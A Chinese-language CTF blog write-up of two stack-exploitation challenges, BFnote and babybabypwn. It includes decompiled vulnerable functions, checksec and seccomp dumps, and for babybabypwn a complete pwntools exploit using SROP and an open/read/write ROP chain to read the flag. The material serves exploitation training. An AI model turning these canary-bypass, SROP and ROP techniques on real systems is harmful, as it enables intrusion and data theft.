记两道比较有意思的PWN题

March 1, 2020 CTF-Writeup 访问: 44 次

最近忙着准备XX,没太关注CTF,今儿抽空看了两道栈题,总结一下。

i春秋公益赛-BFnote

32位题

 radish ➜ bfnote  checksec BFnote 
[*] '/media/psf/Home/Downloads/bfnote/BFnote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
 radish ➜ bfnote  

关键函数如下,其中变量V4造成堆后面的地址任意写

unsigned int __cdecl main()
{
  int i; // [esp+4h] [ebp-54h]
  int size; // [esp+8h] [ebp-50h]
  char *v3; // [esp+Ch] [ebp-4Ch]
  int v4; // [esp+14h] [ebp-44h]
  char s; // [esp+1Ah] [ebp-3Eh]
  unsigned int v6; // [esp+4Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  sub_80486F7();
  fwrite("\nGive your description : ", 1u, 0x19u, stdout);
  memset(&s, 0, 0x32u);
  sub_804869C(0, &s, 1536);
  fwrite("Give your postscript : ", 1u, 0x17u, stdout);
  memset(&unk_804A060, 0, 0x64u);
  sub_804869C(0, &unk_804A060, 1536);
  fwrite("\nGive your notebook size : ", 1u, 0x1Bu, stdout);
  size = sub_8048656();
  v3 = (char *)malloc(size);
  memset(v3, 0, size);
  fwrite("Give your title size : ", 1u, 0x17u, stdout);
  v4 = sub_8048656();
  for ( i = v4; size - 32 < i; i = sub_8048656() )
    fwrite("invalid ! please re-enter :\n", 1u, 0x1Cu, stdout);
  fwrite("\nGive your title : ", 1u, 0x13u, stdout);
  sub_804869C(0, v3, i);
  fwrite("Give your note : ", 1u, 0x11u, stdout);
  read(0, &v3[v4 + 16], size - v4 - 16);
  fwrite("\nnow , check your notebook :\n", 1u, 0x1Du, stdout);
  fprintf(stdout, "title : %s", v3);
  fprintf(stdout, "note : %s", &v3[v4 + 16]);
  return __readgsdword(0x14u) ^ v6;
}

这题开启了canary,明显的是要绕过它,首先找到它在内存中的地方(做题的时候并不知道这个命令,导致我没法正确的找到它)

pwndbg> search -p 0x9c894d00
                0xf7e04714 0x9c894d00
[stack]         0xffffceac 0x9c894d00
[stack]         0xffffcf1c 0x9c894d00
pwndbg> 

我们知道当我们用malloc申请超级大的地址的话就会直接申请一个段,而这个段就在libc段上面,并且和canary所在的地方相邻,所以就可以改canary

控制canary之后就可以进行ROP了,这道题没有puts泄漏函数,所以用dl_resolve来拿shell

另一种做法就是攻击got_readmprotect,将bss设置为可执行,再跳过去执行shellcode即可,小爆破一下就好。

Writeup

V&N招新赛-babybabypwn

保护全开,且存在沙箱保护,一般绕过手法是ROP读取flag

 radish ➜ WorkPath  checksec --file pwn 
[*] '/media/psf/Home/Downloads/WorkPath/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
 radish ➜ WorkPath  seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000009  if (A == mmap) goto 0015
 0006: 0x15 0x08 0x00 0x0000000a  if (A == mprotect) goto 0015
 0007: 0x15 0x07 0x00 0x00000029  if (A == socket) goto 0015
 0008: 0x15 0x06 0x00 0x0000002a  if (A == connect) goto 0015
 0009: 0x15 0x05 0x00 0x00000031  if (A == bind) goto 0015
 0010: 0x15 0x04 0x00 0x00000032  if (A == listen) goto 0015
 0011: 0x15 0x03 0x00 0x00000038  if (A == clone) goto 0015
 0012: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0015
 0013: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL
  radish ➜ 

关键函数

unsigned __int64 sub_1347()
{
  char buf; // [rsp+0h] [rbp-110h]
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to v&n challange!");
  printf("Here is my gift: 0x%llx\n", &puts);
  printf("Please input magic message: ");
  read(0, &buf, 0x100uLL);
  syscall(15LL, &buf);
  return __readfsqword(0x28u) ^ v2;
}

函数中直接系统调用rt_sigreturn,可以看出来是要利用SROP,但是把程序流程劫持到哪里呢? 我在这里卡住了

一开始想着没办法通过libc地址来得到栈地址吧,查来一番发现是我孤陋寡闻了。

how to leak stack_addr from libc
libc.symbols['environ']

get the addr of char **envp

在 gdb 中打印出来

$p environ
0xffffbeef
然后查看 stack 100 查看程序路径所在栈地址 + 8

environ 是一個在 libc 裡面的一個 symbol,他裡面存著 stack address 指到 char** envp

通过这个可以获取到栈地址,然后通过read来控制栈,把rsp再指向environ即可进行ROP

EXP:

from pwn import *
context.arch='amd64'
# from LibcSearcher import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

def debug():
    gdb.attach(r)
    raw_input()


file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
# li("aa",hex(libc.symbols['execveat']))
ru("Here is my gift: ")
addr = rud("\n")
libc_base = eval(addr) - libc.symbols['puts']
li("libc_base",libc_base)

pop_rdi_ret = 0x0000000000021102 + libc_base
pop_rdx_rsi = 0x00000000001150c9 + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
syscall_addr = 0x00000000000bc375 + libc_base

binsh = 0x000000000018cd57+libc_base
# syscall_addr = 0x00000000000026bf+libc_base
stack_addr = libc.symbols['environ']+ libc_base
frameExecve = SigreturnFrame()
frameExecve.rax = 0#constants.SYS_read
frameExecve.rdi = 0#binsh
frameExecve.rsi = stack_addr
frameExecve.rdx = 0x200
frameExecve.rsp = stack_addr+8
frameExecve.rip = syscall_addr
# print len(str(frameExecve))
ru("Please input magic message: ")
li("stack_addr",stack_addr)
# debug()
sl(str(frameExecve)[8:])
sleep(0.5)
payload = "flag" + "\x00"*4 + p64(pop_rdi_ret) + p64(stack_addr) + p64(pop_rdx_rsi) + p64(0) + p64(0) + p64(libc.symbols['open']+libc_base)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr) + p64(libc.symbols['read']+libc_base)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rdx_rsi) + p64(0x100) + p64(stack_addr) + p64(libc.symbols['write']+libc_base)

sl(payload)
ri()

添加新评论